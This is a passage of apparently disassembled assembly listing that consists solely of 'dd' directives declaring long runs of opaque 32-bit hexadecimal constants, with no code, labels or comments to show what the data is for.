		dd 0EC6525EAh, 0F54C203Fh, 2F0075AFh, 39FF41ADh, 23B2A74h
		dd 0A99E9071h, 0C0FBDF17h, 0BE7CF58h, 516E99E0h, 0A109B472h
		dd 0D882EEFEh, 5022F89Ch, 873F74A6h, 526020E4h,	0C0E3BF1Ch
		dd 90CBC9Ah, 91BE4EAFh,	271A00DBh, 0E87DEE4Dh, 557AE9C1h
		dd 92E868D8h, 683A9531h, 1C594059h, 0BE47718h, 922D0771h
		dd 5D78E4B1h, 0FC0F4C5Ah, 0A901F75Ch, 3154024h,	51E7C270h
		dd 62F4736Ch, 8B244093h, 0CFC4DC6h, 61400C96h, 0F4A8A678h
		dd 0F31D8613h, 90651AD1h, 817BFDA0h, 5901FFACh,	0F34F96A9h
		dd 53C0EAFFh, 188719Ah,	2BCDD0A5h, 0C0E0B21Bh, 0C09252A0h
		dd 0EF784595h, 304789D1h, 4A723BACh, 0C084C462h, 0C3EBCDD0h
		dd 0B46E2FF9h, 2ACDD201h, 5181FCF9h, 1DF5C4h, 396B570Ah
		dd 0B72B8834h, 24FB2598h, 3C549970h, 540EE64h, 9F008474h
		dd 6D3CBB91h, 4F71D3D9h, 0DBF4C0F6h, 7627296Eh,	0B6A4689Ch
		dd 2C6182BBh, 6EE035E2h, 71ED9C0Bh, 18C9F170h, 25077036h
		dd 0E8C15615h, 2C52EA24h, 62F68D12h, 207A14A1h,	0B9DD337Ch
		dd 0B6F3E900h, 9BAC513h, 0B00C0242h, 896A08CFh,	379DB4D0h
		dd 5C6D0044h, 1115457Ah, 9B2F961Ch, 0D6AB9882h,	280423Ah
		dd 791A8Ch, 0C2CEFECBh,	9420D282h, 0BA00DC9Ch, 4F4102EFh
		dd 202C15C7h, 5E2DBDDDh, 9950820Eh, 0FB240264h,	0BD01C444h
		dd 71BB3608h, 90340FDAh, 170D4E32h, 4FD8F7B4h, 7523742Bh
		dd 4F267A00h, 11CC610h,	64F55985h, 6C7E41F6h, 6CCF02D8h
		dd 0C0264572h, 4E656D47h, 0C05484DCh, 0DACC3B7Ch, 799DA703h
		dd 18B90B6Eh, 0C1245D89h, 300E815h, 0AB07B5EDh,	745B87D2h
		dd 9BFE0BE2h, 3467DEBFh, 0A980D14Fh, 0A28B346Ch, 9FF6FE28h
		dd 13C320A1h, 8E2AA869h, 1AC5019Eh, 295C7334h, 0F4A4E468h
		dd 26ACD61Eh, 76307849h, 77467420h, 9CCBED00h, 2D962148h
		dd 0FE23B417h, 5108E0B2h, 6409A742h, 78C4861h, 0E42707B2h
		dd 23ED2FCh, 585492A6h,	64961B01h, 7CF1F9B4h, 7BF42F3Fh
		dd 2EFC8Ch, 0C567CB5Ch,	57B288E6h, 0EED19D09h, 3B1010C3h
		dd 0C65E26D2h, 34F1446Ch, 0C488A4CBh, 94C35DC4h, 17511F86h
		dd 8446C0BFh, 0F81941A2h, 1DF1D8B9h, 0F4CD2F19h, 675D66F0h
		dd 909C2117h, 0AC1BC72h, 0E2A71E00h, 0A16D08FEh, 2506FA56h
		dd 5065EAA0h, 5D80743Fh, 0FF49C020h, 0B9E09DFBh, 0E1062903h
		dd 2CCD9044h, 894816D0h, 789DF9E2h, 1D80CC11h, 4F221641h
		dd 409374Ch, 72440DCh, 0A24EC4EDh, 7B007C68h, 0A576AE95h
		dd 203D3E5h, 0D0108ABh,	0F05E6165h, 8703FCBBh, 18CE5BFBh
		dd 4578D8F5h, 8DBA073Dh, 0F176EC06h, 0DE046927h, 24EAD874h
		dd 831600D6h, 0B2CC6F8h, 0F20250AEh, 0E2999E20h, 0A854681Ah
		dd 889695C1h, 3C1EF068h, 1E465Eh, 45183DCDh, 240388B3h
		dd 8BB86BAEh, 9009C0Dh,	2FCF602Bh, 0BC6CB63Ch, 0B7B0916h
		dd 0D610D43Fh, 5FE9BC04h, 3D80A496h, 165146B1h,	0C4659A81h
		dd 0D2A0A8A8h, 7223503Ah, 3EA1F600h, 2FA50A2Bh,	0C46007ADh
		dd 0B7093843h, 0D189BFD7h, 259A04B8h, 932E07F3h, 35A0F1E0h
		dd 0DD3401ACh, 3D87D641h, 375FEA09h, 1EFD00BCh,	8D73B140h
		dd 58006EE0h, 0AC34C448h, 944E4A0Eh, 0A15C0280h, 0F0FE056Ah
		dd 7B291502h, 82F092BAh, 5522668Ch, 9F040C94h, 1FAF431h
		dd 1608CCB9h, 0D104C0EAh, 6BAF3F6Fh, 0EFE100C8h, 6D78E90Ah
		dd 2738B0B4h, 60613E03h, 0FCC53BFAh, 78BC88A8h,	0D5D0FB8Ch
		dd 3A2D0218h, 62C7DE04h, 6102B45Ah, 0F49344F8h,	9EBF466h
		dd 10560A49h, 6E10D251h, 0A0BA5DF9h, 16818458h,	0ACE06A31h
		dd 4BC909AAh, 147050E5h, 0A4AC4744h, 0BABB00FCh, 17B8407Bh
		dd 98BDA2C0h, 8001BD60h, 0E5C240Fh, 8180484Fh, 0AFEC2EA9h
		dd 504CC4h
		dd 23DD716Ah, 93F8AA9Fh, 43F8B3Dh, 9A8E3210h, 2C562F09h
		dd 0CA3BD743h, 21C5C66h, 0FECD9A01h, 0F68EF8A0h, 0F496785Ah
		dd 31123513h, 71C34A8h,	0A0E0EF92h, 5F12BC1Ah, 5CC54Eh
		dd 4143D1C0h, 1BB060h, 1EBC10B5h, 0E2807FC4h, 44E095F6h
		dd 50407896h, 1CD6A4h, 0C5E8C1E3h, 66074C95h, 0C2203090h
		dd 6C6B110Ch, 133D3E7Ah, 3C5015DEh, 48A34F64h, 76FE9F0Bh
		dd 84906CD0h, 66D30905h, 0ACE834CAh, 0DAFEA009h, 0F3D63C40h
		dd 0C084D424h, 64798708h, 1528A011h, 0A39883Eh,	0DC2C506Dh
		dd 234C2027h, 0C04FE13h, 79C216A0h, 5D33E050h, 8323895Ch
		dd 0CDA107EBh, 0B21D662Bh, 0E076CA41h, 0EF00E8ADh, 42C5009Dh
		dd 0C230DCC3h, 0F3039F76h, 0F5247AB5h, 2A512D03h, 0FF594BC0h
		dd 0D4398A2Ch, 5067281h, 132EA71Ah, 89E8A828h, 60C4745Bh
		dd 0DB7455F7h, 0B366601h, 0B87547AFh, 464D92Ah,	0ED7085E4h
		dd 0C1B830h, 0B76EA762h, 6B99AB24h, 5CF3554Bh, 830EEB2h
		dd 0D9323E79h, 0E041F893h, 568281E0h, 543E63A0h, 0FEACE4E5h
		dd 3AAA2040h, 0C84B5218h, 6C4E5620h, 28397CE0h,	44AC5513h
		dd 0E494AD1Eh, 2060738Fh, 3110CBC7h, 76052516h,	87C004E3h
		dd 0D8A485BEh, 2E9B1F00h, 3BD8BB9Ah, 0A0044C88h, 38CD2525h
		dd 91409525h, 369D8772h, 0B835B9F3h, 20719C28h,	3B04F6A2h
		dd 0BC34D639h, 0F58014B8h, 1F43D2ABh, 0C2983CF5h, 7E8EA23Bh
		dd 6E467CA8h, 405E5F00h, 542C961Ah, 6B5BC30Bh, 0E3809379h
		dd 56E0CAA0h, 614B56F8h, 4A80A4h, 0CF278662h, 0F719D564h
		dd 0FAA0960Ch, 2DE420D2h, 0BC97DF18h, 5A81C711h, 70777933h
		dd 72416AF8h, 88168468h, 84B8DE15h, 0A0B99856h,	0EAEEE603h
		dd 0FEA04029h, 5E269565h, 0E503F011h, 9A8D23B0h, 0D218A049h
		dd 0DF28A4h, 0BE8905CEh, 115325BCh, 22F0BF00h, 6974C619h
		dd 97CB00F5h, 0DB40D76Bh, 154B28D4h, 0F0E1B4A3h, 43D80D7Bh
		dd 0FB360071h, 0CC56EE7Ah, 0A22DA134h, 77D850C9h, 0C16499Dh
		dd 7459D925h, 1C7038A1h, 9101867Ch, 6F427A22h, 0CC604D57h
		dd 0C8E758A6h, 8C71BCh,	3B789AC4h, 0F4F35E75h, 0AFA83997h
		dd 0F124B215h, 0E30C7C1Bh, 0D29E9B12h, 0DEA26CACh, 37113420h
		dd 925E0555h, 0C0350D3Eh, 0F4EE15F0h, 0FCA16E4Eh, 6DC7E86Dh
		dd 981748E9h, 0B5D8D3h,	91753854h, 9A42A3FEh, 0B5E2473h
		dd 0FC436088h, 5FD4EADEh, 80309B10h, 2C9C541Ah,	2044B007h
		dd 0CD09747Eh, 0D4E7DE3Ch, 9803D6D8h, 0E8A2EBF0h, 5E88DADDh
		dd 0A89D1208h, 48A99264h, 7DF67F10h, 48DD3A2Ch,	262853A5h
		dd 0FCF802B8h, 44099E2Eh, 55520074h, 0B88D5C34h, 0E90B9DECh
		dd 2E05459h, 252EFCh, 0B12DD7ACh, 0EB617004h, 9CA90523h
		dd 0CA5F4001h, 7F161F4Eh, 0A06D040Ah, 0ACF927h,	35C99DA1h
		dd 0DE01CAC5h, 0A629BFC4h, 2187744Fh, 449B086Fh, 7000BF06h
		dd 4F892498h, 0A821D279h, 3E448C4h, 0FDFB234h, 3B6D9165h
		dd 18601435h, 9813887Fh, 0AC0015F8h, 0D7D41AE9h, 7F05BF81h
		dd 268A13DCh, 2B3030B2h, 5413938Bh, 34CB5C73h, 0B5C06EC8h
		dd 4F5B973h, 0C18B2A7h,	0C218AC08h, 58CA7A3Dh, 0DA014ACCh
		dd 0C0CB8888h, 7BCD8746h, 0EF6DA709h, 54CD482h,	53759562h
		dd 3C1D07C4h, 9D8A221Ch, 430424DEh, 9B56C8F7h, 0C4859D90h
		dd 0FC81319Fh, 772E8B6Eh, 7DF9A1D8h, 0FE198981h, 4C8D806h
		dd 1207F77h, 0BCDCA8EDh, 0D9138CC9h, 24A82439h,	0B2321881h
		dd 6A344171h, 98CE3BD3h, 0E5C021C8h, 2AB230Eh, 8DFDCB04h
		dd 0B479EBC3h, 0DF18C879h, 11E8C0Eh, 42405A5h, 786C44B5h
		dd 2708FB0Fh, 9714AC12h, 0FD80C89Bh, 0AE534D27h, 0D0180407h
		dd 0F9474690h, 96323D01h, 167CBC20h, 9BB6E18Fh,	1968918h
		dd 0B8C74A58h, 5A8D1834h, 0CF8890BEh, 0B901A1C1h, 4CE1CB68h
		dd 7EADA21Dh, 0A9AD8885h, 0ACE82B04h, 0F6EF8E0Eh, 65017FF8h
		dd 0E74A1CAFh, 0F8406F98h, 0AAD75479h, 0B06A00D1h, 9F8C591Ah
		dd 0A204F8BFh, 8DB32FCDh, 0A0091481h, 1DBCB07Ch, 48F20B8Ch
		dd 0D4872B0Ah, 0B0D1C930h, 0B2516E02h, 3528409Dh, 0D6A8BEE2h
		dd 6A447E13h, 957CF4B2h, 0C491F09Dh, 840BE58Bh,	0B09A00D2h
		dd 0F4A8D4B4h, 51D9BEF5h, 2A198288h, 5CB2313Bh,	0BFC275E0h
		dd 82B09286h, 0ED3F6F30h, 561EC0A8h, 0F63E2C9Dh, 84880E11h
		dd 2202CBA0h, 20BC4E6Ch, 0F4E12C99h, 182A400h, 19AA0A2Bh
		dd 238BB74h, 6AFA247Fh,	0D4C05A24h, 9C41599h, 16880BEDh
		dd 0F758F052h, 0F8EA10B4h, 5D320104h, 0DCA317F2h, 0A909004Ch
		dd 6074C422h, 77D14674h, 0B70381Eh, 822D9007h, 0FCAE1822h
		dd 3E4280B4h, 1EC4EFCBh, 0C6A11B74h, 0E7E6F4A9h, 0C8B6CA02h
		dd 55E2D2EEh, 8470C1Ah,	0D60CB44h, 0F609CFE6h, 8199B45Ch
		dd 1AD19B66h, 0B72C823Eh, 100B4441h, 51C2FE8Dh,	342BC07Ah
		dd 830C8CE4h, 8CBA0303h, 0F06B4D87h, 155DA65h, 2CEBD90h
		dd 0C19DE4C8h, 804C2C66h, 0AA380CA3h, 0E3F7AEBh, 0FD5CE07Dh
		dd 7EA0294Fh, 9B0F68CCh, 923C6C12h, 13B2C4B6h, 10B4330h
		dd 6CA85EFBh, 0FF5649CEh, 33886A8h, 0AAD68012h,	9FC3FCA8h
		dd 0F0DE6A16h, 15C89995h, 56C8E2D6h, 105552C8h,	0EAFA6EE4h
		dd 8EF75B79h, 0C71B8868h, 6301E1AFh, 30422B5Dh,	802C0F76h
		dd 3F98DFD9h, 5CB800CBh, 0BBC18AB6h, 0B402D2B2h, 0EE9FCC16h
		dd 3150811Eh, 87007D0Ah, 3D2FEB3Fh, 110E8D2h, 2AD000E7h
		dd 1AED4CF9h, 722570DEh, 67C4C2A2h, 601AC464h, 2E3BC277h
		dd 448C16D2h, 23B0B46Dh, 67E2392Fh, 60D14454h, 7665Ch
		dd 345E4668h, 0D088A384h, 3A5DF909h, 2207331h, 0B91346D2h
		dd 9730D22Bh, 18C368EDh, 0C851B0BCh, 25BA00ABh,	13241059h
		dd 0B8003C08h, 0D41AE7DAh, 1A3DA68Ah, 80D79FF9h, 0DE81FCD6h
		dd 0DAA3C741h, 0F9C8602Eh, 0F1769A54h, 44684D95h, 992A61C9h
		dd 21966430h, 0E82D4CCCh, 9D5810h, 34A9C223h, 0B95F6792h
		dd 0A5A84A48h, 0EEADF4A8h, 1BDB630h, 8E5A52C0h,	20B8DFB9h
		dd 0A35B1EA0h, 1BB2C4F3h, 7FE08331h, 26D4F616h,	0C4BC457Bh
		dd 0C404EEAFh, 0B8ACF0BAh, 8C78ECh, 6B2B719h, 7A759D93h
		dd 9A016217h, 1C3014B5h, 68234146h, 242F2208h, 11F81877h
		dd 0CE64AD9h, 0ECEE23E0h, 0D0A1D624h, 55A26642h, 4D69412h
		dd 2C5700DCh, 0A40B50E7h, 0A22702D1h, 0D88D07Dh, 25E28A37h
		dd 148992D0h, 0DEBDB8F8h, 39B730h, 48869535h, 7DA9AF8Ah
		dd 0B87B4E02h, 5FDBF47Ch, 1B81E4B5h, 2C46CA9Eh,	0B7069820h
		dd 705494C0h, 64F2354Eh, 0C7C1BF1h, 0BE600125h,	66799D5Fh
		dd 0EEF8AF10h, 0CCB59DB8h, 15478F02h, 88C340CFh, 3BF60BD4h
		dd 84E0AE72h, 0A60940ACh, 51E36FC2h, 181DF114h,	1F2E16A9h
		dd 2890D0AEh, 1EE8B50Bh, 989BD14Fh, 3FA4B5C0h, 0C04C6ECh
		dd 5FE94B61h, 0EF241EBBh, 0B52C9400h, 7316F9A2h, 7C44E3DEh
		dd 0B0129C26h, 7012AFD0h, 7C400651h, 3BCDAC33h,	0EB0218BDh
		dd 0D75630D4h, 513C382h, 14282458h, 0E86CA8E7h,	8B008CCCh
		dd 0C0EE8479h, 186AFB70h, 0F9225D72h, 0E200549Ch, 32343B31h
		dd 910A603h, 7C87D905h,	0CD51A873h, 0DF387F18h,	3EAF8BC5h
		dd 255854A2h, 21D96471h, 0CC025A18h, 0D2F3AC99h, 10A0E29Ch
		dd 0B86F4ACh, 0D91216A0h, 58713054h, 806A2B0Dh,	7F90890Eh
		dd 87380AC0h, 0C04AF556h, 1D2530F6h, 0D01A7040h, 0DF29270Bh
		dd 8E008306h, 3BEEEC65h
		dd 7BEE1034h, 0CAE0EFCFh, 0A7235AD3h, 4541095h,	0ADFF00CBh
		dd 25AAC495h, 0A22881CDh, 2E05ABC2h, 5B9FE412h,	0F93035AAh
		dd 2E1AB804h, 9D8DBFFh,	0BCD68866h, 5CC9E88h, 0F00C5DD6h
		dd 2195AC2Ch, 6176B540h, 0F48042FEh, 0C648DEF0h, 0D4FA1084h
		dd 5051FF2Dh, 24C4A5h, 65F378AFh, 347D5C60h, 3CB1BE00h
		dd 745E86C3h, 8D7127A9h, 97DD4842h, 81C7918Ch, 0BC4C85CBh
		dd 0A214C27Ah, 0EC013405h, 5D072B66h, 272C712Eh, 19FFF00Dh
		dd 4AEC4695h, 7700D04Fh, 0CC002C6Fh, 30FC23E3h,	97B345Fh
		dd 0C41EA16Ah, 0C444FCE7h, 0CD693761h, 22B0607Bh, 17073488h
		dd 0E420553Ah, 0F95FBA50h, 9C825CC5h, 0CCCF4F2h, 90A96FACh
		dd 347323Ah, 63969A6Ah,	1CF590FEh, 805A01F0h, 0C01ABC16h
		dd 0E1C6D88h, 820BE0AFh, 70BE8AEEh, 15D72024h, 0C6C3F501h
		dd 0BF4B579h, 250E03E0h, 0E800B20Dh, 0DE459AD4h, 411A4013h
		dd 0A96EA000h, 342A0ECAh, 0AD9886CEh, 76122234h, 0D69625EDh
		dd 17134859h, 1A1050B3h, 3A9F0082h, 26719DD7h, 9DCC9EEBh
		dd 3858E587h, 8C60ABh, 0FAA767CDh, 9B6B0E08h, 0CE74E55Ah
		dd 5E07343Dh, 106776DEh, 2B8570E1h, 0E630F904h,	4FFB61BCh
		dd 0BD4083F4h, 2D3820BEh, 0D3A0E701h, 0BF8C8674h, 90E07BD4h
		dd 0EC109511h, 0C1C9D162h, 95F85AFAh, 0AE815043h, 0A636106Dh
		dd 66770040h, 6E09CE2Ch, 98001CD2h, 0F250A84Ch,	2CD69F64h
		dd 328DC91h, 0E2CD3B15h, 24D5E5A2h, 15F2744h, 0A08C7F5h
		dd 5BC725Eh, 0CBBE1505h, 0F2413091h, 0E0B0DDF2h, 0D007FF4Fh
		dd 8F833772h, 22AA1FC5h, 0A520A738h, 80F1F679h,	0D15D8AFFh
		dd 0BE721390h, 91174A4h, 17295D6Fh, 0E38CE900h,	680B1E0Fh
		dd 0D43E2775h, 6F6B4178h, 0F559817Ah, 0EF7041CBh, 0CC2A60D9h
		dd 4E5A7370h, 0F0C4248Eh, 0DFED307Bh, 1206005Ch, 0C121B3EBh
		dd 90A8329Fh, 2F02D828h, 0ED3794D0h, 58377D3Eh,	66F49480h
		dd 5AAA0CFEh, 0D2985C9Bh, 61FCB76Dh, 0B811BF78h, 41DE7C70h
		dd 0FFD4E30Ah, 0CCF61C17h, 0E4EC47E1h, 644AC593h, 9B6BB4B1h
		dd 6B7480E8h, 0F82EB5DCh, 8A60128h, 14FE6C61h, 9C176ED2h
		dd 0A00A30F3h, 1084151h, 1137D403h, 42DBEC0Bh, 0F8C6A327h
		dd 9DE47094h, 215078C1h, 0F8F445D8h, 8C1DEC70h,	249A3401h
		dd 8535C996h, 0CB04956Ah, 0C221C814h, 0F440CCF0h, 937082BAh
		dd 0CDAAF515h, 0F3B16D4h, 9DC22CA8h, 6858F299h,	0B490614Eh
		dd 16D95356h, 1D596DA2h, 23A94400h, 486FBEC4h, 8E183A00h
		dd 0B598C2BCh, 1120278h, 4CACC3EFh, 687820B9h, 222588B8h
		dd 568CA2D2h, 0C6870788h, 6C96E18Ah, 356B4438h,	0C889C676h
		dd 0A9003810h, 3AC892Ah, 6B247E0h, 0B0C59BCDh, 4FBF2011h
		dd 9C744088h, 0A311CC6Dh, 0B000BD4Fh, 5E26E8E2h, 0FB00F088h
		dd 68172B02h, 2A073029h, 95C4C932h, 0EDBF6846h,	374DC704h
		dd 5A1360E1h, 0EA29420Eh, 0A08906Ah, 0EB8562D5h, 19C4A704h
		dd 282A2CE1h, 9D8A18C0h, 7BF10868h, 3DFF5C60h, 69DC036Fh
		dd 4DD7F413h, 8872ABCCh, 80FE2943h, 0ACD7A440h,	0C87166h
		dd 94AAE263h, 4BD93668h, 1118B003h, 90603B24h, 0DF16D29Ah
		dd 0A456A5B0h, 0E61D00DEh, 2B3DF11Fh, 0C000715Dh, 46095E4h
		dd 959834F9h, 8859DC92h, 0D4197759h, 850E5E9Eh,	0A1344FA7h
		dd 0C436F6A0h, 8E71C441h, 84E45D2Bh, 32B915C6h,	0E9E22485h
		dd 0FC1AC54h, 9EC47EFEh, 0B93C0A84h, 0A12C5700h, 0C0DCEF2Dh
		dd 660E1A8Dh, 1855C0A5h, 27A15AE8h, 0D0604D32h,	0A97EA50Fh
		dd 73282B00h, 0F95B10A7h, 0BEAD0E08h, 1BEF01Ah,	5E36346Bh
		dd 6EB421D9h, 6800A46Eh, 0D198E174h, 0C09FA066h, 7415B788h
		dd 0F3010B32h, 52099A70h, 72D944F1h, 40E04918h,	7AD1DA0Bh
		dd 6B2454E2h, 72E414E5h, 0BAB6CE60h, 26D1950Bh,	0DC642Eh
		dd 0C1438E3h, 0C6C30333h, 1512CDF0h, 4E00B8E4h,	829CEBE1h
		dd 0EAAD24EFh, 0AC51A50Ch, 70E8F3A5h, 1E095578h, 5681B67Ah
		dd 0ED29C0C8h, 0D0B4B010h, 745D4DDEh, 0A9C72C02h, 85C7621h
		dd 8144376Bh, 9E88636Ch, 0C9B7A83h, 0AE8C7A85h,	0D9E25C20h
		dd 0AC2E00CCh, 86D1D41Eh, 4A388068h, 68D54B24h,	0F2C36880h
		dd 2A093FDh, 6A41F8DCh,	0E981BCDEh, 0D9196B0Bh,	0FC54816Ah
		dd 0DE2C3060h, 0ABF33400h, 15D4BB02h, 0D32E2F05h, 57E9C4E9h
		dd 540750B0h, 0B205F618h, 0F92437B8h, 802A4089h, 8B4335A8h
		dd 58CBFD5Fh, 1BC06DC8h, 9D3F2493h, 0D348020h, 0DC12F623h
		dd 0FB123B01h, 0BA3E9C03h, 29C38A6Ch, 0F840C4D6h, 258DA0h
		dd 906735F1h, 0A8B3D4DDh, 0D675D917h, 71319409h, 14ED8200h
		dd 0D0C4D826h, 4F8C9A20h, 0CF180064h, 30E937CBh, 9CF06EB5h
		dd 0D14656C4h, 0D5021707h, 4DDF80C0h, 0EE0BB97Fh, 40DAF68Dh
		dd 2F0D634h, 32187AA7h,	14F68592h, 29D50A88h, 0CDB2720h
		dd 0FB5D70h, 3E7945E1h,	0EEAF4090h, 78A4315Ah, 18BB9587h
		dd 10CC54EDh, 0C5ADA90Bh, 467C1854h, 1FB20E6Dh,	88D54Eh
		dd 7342F467h, 0A35563h,	0FF43493Ah, 99D86905h, 20A0E71Dh
		dd 25B4F780h, 0E8983679h, 0C5AB078Ch, 47E37C06h, 0D459E907h
		dd 0C7C1FB9Fh, 0CB7C2574h, 21F8CB3Fh, 64CB63E0h, 0DFEC291Ah
		dd 5C180320h, 0F0494FA4h, 10978708h, 273BF740h,	34DBE7D5h
		dd 4F455F58h, 0E51C404Fh, 8BE3A256h, 8090CF00h,	0B32D8CD2h
		dd 369B0017h, 0DF82A172h, 0E8B59911h, 7F8370h, 0EBB386ECh
		dd 470455B6h, 26626A00h, 7CFC40Dh, 81824FF5h, 600FD430h
		dd 9D5B6AE0h, 1BC8DCCEh, 2CC08FC4h, 9743E5A7h, 7C454014h
		dd 2812204Bh, 23183EF8h, 65530773h, 519F8280h, 94633054h
		dd 9A6FD844h, 0BE8Eh, 0CF9C64F9h, 3B16DB1Eh, 7841997Ah
		dd 14E19201h, 2506F060h, 0F066DCBDh, 0E7329F04h, 78D27127h
		dd 0A51C5413h, 9DEBC56h, 85DCBBC3h, 0EDFC0C00h,	2C1E50F8h
		dd 0BF49EA40h, 61D07E8Ch, 2B54FC63h, 38ACCC34h,	74E30580h
		dd 94000D65h, 39CF6136h, 9F23E88h, 0CCBA7DADh, 0D6E95C5Ch
		dd 0E500D4ECh, 39EC073Ch, 161D0260h, 85AE9A3Eh,	8423BF4Ch
		dd 58B7D848h, 0FE390082h, 5789FD0Eh, 0AA583B2Bh, 0C0AE1090h
		dd 0A1BFDD09h, 0F1622074h, 0BC8909FFh, 4B4FE854h, 794DA5Eh
		dd 0C89AE365h, 53EEA04Ch, 0FC3D74D1h, 8872273Ch, 450CD168h
		dd 2CF348E7h, 74A47DC6h, 89001E46h, 9B5C2CD8h, 727F3BCCh
		dd 55141A97h, 309FCB7h,	31B88117h, 0DD2A81DAh, 0E46E2BF4h
		dd 0E922A000h, 0F20AD2FBh, 0EE966905h, 0A0E0D5F9h, 0E0209DADh
		dd 66AECD91h, 6CD2E307h, 41094A5h, 42BFC10h, 15062A1Fh
		dd 3034AEDAh, 0EDC278B8h, 5CDEE2FCh, 806FA834h,	4F2EBC09h
		dd 0E8DCC30h, 5B54E259h, 2647830h, 0F93E13F2h, 8014B89Fh
		dd 8F44B007h, 793500B6h, 0CEC7D4EEh, 0C493C2E7h, 0F7181B71h
		dd 0EF0280C9h, 35D9606Ch, 911317BAh, 0A4FDFF4Dh, 2A91C9CDh
		dd 5C809CDBh, 2C4C2B2h,	61B93A2Dh, 67FC4AA4h, 852F00E7h
		dd 9AD75C8Dh, 6D2B3C6Ch, 1C598814h, 6137E819h, 3206F202h
		dd 7FC4197Dh, 78F4C0B2h, 638C07DCh, 6149C215h, 2F4DC8B3h
		dd 68AD5434h, 0C808CAD2h, 80E5C073h, 6098740h, 5CBF56EDh
		dd 3EB67120h, 0CD235C3Eh, 8689CC00h, 0FE9747C4h, 695A60FEh
		dd 36B82BCDh, 0C4902D6Bh, 693F0074h, 0E65F4E8Dh, 0EA03D8F2h
		dd 7F544ADBh, 6A449068h, 164C9EDDh, 0F868E870h,	2C008CCBh
		dd 88CD9766h, 0B241EEDEh
		dd 5B4A00C0h, 768961Ah,	4437BE72h, 32329808h, 6880F705h
		dd 3A8AD63Bh, 0C40B8912h, 0ADA5E4ACh, 0A0FCA9A4h, 5FA6022Bh
		dd 0F5F96E41h, 0A40060D0h, 657270E3h, 16ABBE17h, 0B9A7D8ECh
		dd 0EB82Ch, 8E102CDFh, 5C0C5BE7h, 72D23B0Ch, 9F54B8C3h
		dd 0F6F5CCE0h, 0FCF39D4Fh, 0C7BEEF1h, 2EA51DD1h, 0A89A07F0h
		dd 0D8BA53D7h, 792682F8h, 1A1D3A14h, 7B24829Ch,	74C85EFCh
		dd 1A037446h, 792565DEh, 0CE9C3783h, 7BEE84B4h,	0EF8FD730h
		dd 348EB80Eh, 7E0B4094h, 2D011F2Ch, 1CDA0624h, 8E4ADD7Ch
		dd 74ECB095h, 0C2D1A3C1h, 7C80616h, 0A623E3F5h,	0D4563995h
		dd 6DA24160h, 27149E93h, 0A1801CB5h, 4FE58DE2h,	5FD8E6E8h
		dd 0BD4040ACh, 86799F90h, 0B5D35100h, 0C417C01Fh, 0FA30944h
		dd 44F62A14h, 603720DCh, 901ECE20h, 0A0FD4BD4h,	23767580h
		dd 73517E69h, 0BCC9705Ch, 3246F12h, 296EE820h, 2C74595Eh
		dd 0F410B772h, 9501DD2Fh, 0F4FFEEF0h, 7ECFC2h, 7D440E4h
		dd 0FA0B756Dh, 513F24ABh, 62498280h, 6D55E7A5h,	355C61B4h
		dd 0B8CC2E3Bh, 1F3801F9h, 5D8571AAh, 8392E0Eh, 2A00CDC9h
		dd 17975E07h, 80D191C4h, 0A0ECDCEh, 5B1200EFh, 0A253CF2Bh
		dd 475CABFEh, 8C1AF880h, 27A9E701h, 8592088Bh, 405C033Bh
		dd 41EF579Fh, 7C7216A0h, 6FCB06E8h, 0DD97BFAh, 0EE61A279h
		dd 0E4993F30h, 9E8A9E20h, 0FC13177Ch, 54A34F18h, 0BE301EB2h
		dd 983B001Ch, 0D41AA0A2h, 0DE2FA53Dh, 0E4CCC513h, 59746071h
		dd 6AFB0166h, 0CA51C890h, 0EA98986h, 55AC42BAh,	0CC064CDh
		dd 5B3547Ah, 1C8D3821h,	4C62AA62h, 18C8D269h, 8152601h
		dd 64354598h, 20BF69EFh, 4C3D3058h, 41DB4000h, 0A90BB60Eh
		dd 0B9C98CAh, 16F3EDA7h, 44BE5854h, 0BEFE108Dh,	533CC09Bh
		dd 97E17592h, 54266051h, 0D212783Eh, 8ACFBA1h, 0C41E1982h
		dd 0E08F7010h, 3CC8B044h, 85256676h, 0F046C64h,	17824F6Dh
		dd 0ECD964C0h, 0D8311FDFh, 0F45DD223h, 16169F64h, 44FCDA32h
		dd 91CE4187h, 2EE2EEA0h, 3BC5641Ch, 68E09E8Ah, 0FB243ADCh
		dd 0EE8D4160h, 0CD80A0BAh, 16DAFE3Bh, 0A80C3078h, 13230160h
		dd 6CE4AB5Eh, 0E18B9DF1h, 0F4FA8DBFh, 7CA26B73h, 8EDDD360h
		dd 61260CFAh, 0CE622CB0h, 90340775h, 9B2DCB28h,	0B8E84000h
		dd 0A015B3C0h, 89866B06h, 0A25A64F8h, 9D227CA6h, 4B92A139h
		dd 69F3C002h, 1F8CDECAh, 258FE456h, 0AC480C7Ch,	6EF91303h
		dd 10565441h, 549C379h,	0A9A55B3Ah, 0E0A103Ch, 423BDC3Ah
		dd 9F309C30h, 2498D630h, 15252898h, 7274E005h, 11EE40E6h
		dd 0E9776430h, 0A07D89F9h, 2215F35Ch, 2C7E7EADh, 91BCFA00h
		dd 0B8DC3024h, 22363A76h, 35FD2184h, 0C7E4DB58h, 0EE00DF05h
		dd 95CBBA0Ch, 0A8C09CBAh, 0CAE12A49h, 0F4B7F5h,	3185F0C2h
		dd 790AC9FEh, 9873F552h, 2F18B608h, 882E8E7h, 0F4226DFEh
		dd 1873AFBCh, 12AC0770h, 0A82A5F7Ah, 0E4E6D6D8h, 3010E1E1h
		dd 9D401EB4h, 4090A0DDh, 5DAD031Fh, 0B6B034D9h,	0BA5582EAh
		dd 50F07308h, 513D678Fh, 324A79EEh, 0C9F890C3h,	6400A1BEh
		dd 3B0D3907h, 8367F1Dh,	6485A3E3h, 0BBB41968h, 683E446Eh
		dd 0C68BE980h, 0E58F3BE2h, 0D3BF7409h, 8408D137h, 0E122FD0Dh
		dd 0F28F068h, 289C6AE1h, 0DB79D69Fh, 537281F0h,	8F6F1528h
		dd 0C0EF8808h, 0AA0505Dh, 0F127F9FCh, 0F4D141h,	4851B994h
		dd 1096DAEh, 54ADEEE0h,	8C0269D0h, 0F401D4B2h, 0E62A3F96h
		dd 0B720B1F4h, 4E2E52D0h, 5BACB4ADh, 5891AB00h,	0FC38DD89h
		dd 4ACAE8C2h, 12F4F86Ch, 7CA8DC0Fh, 73ACA8D2h, 3B0940h
		dd 5F76B4DEh, 0FD420153h, 0C0CD334Ah, 0CFC0EC61h, 63BCAF74h
		dd 0D0C83763h, 68B641F9h, 2B08FBE2h, 2D39F456h,	806C29AEh
		dd 0DE56E923h, 350B2562h, 9503A8B7h, 83C2963Bh,	0FF6BDA47h
		dd 80D43489h, 0C8A703DCh, 91883B2Ah, 95775BF8h,	2120A4B2h
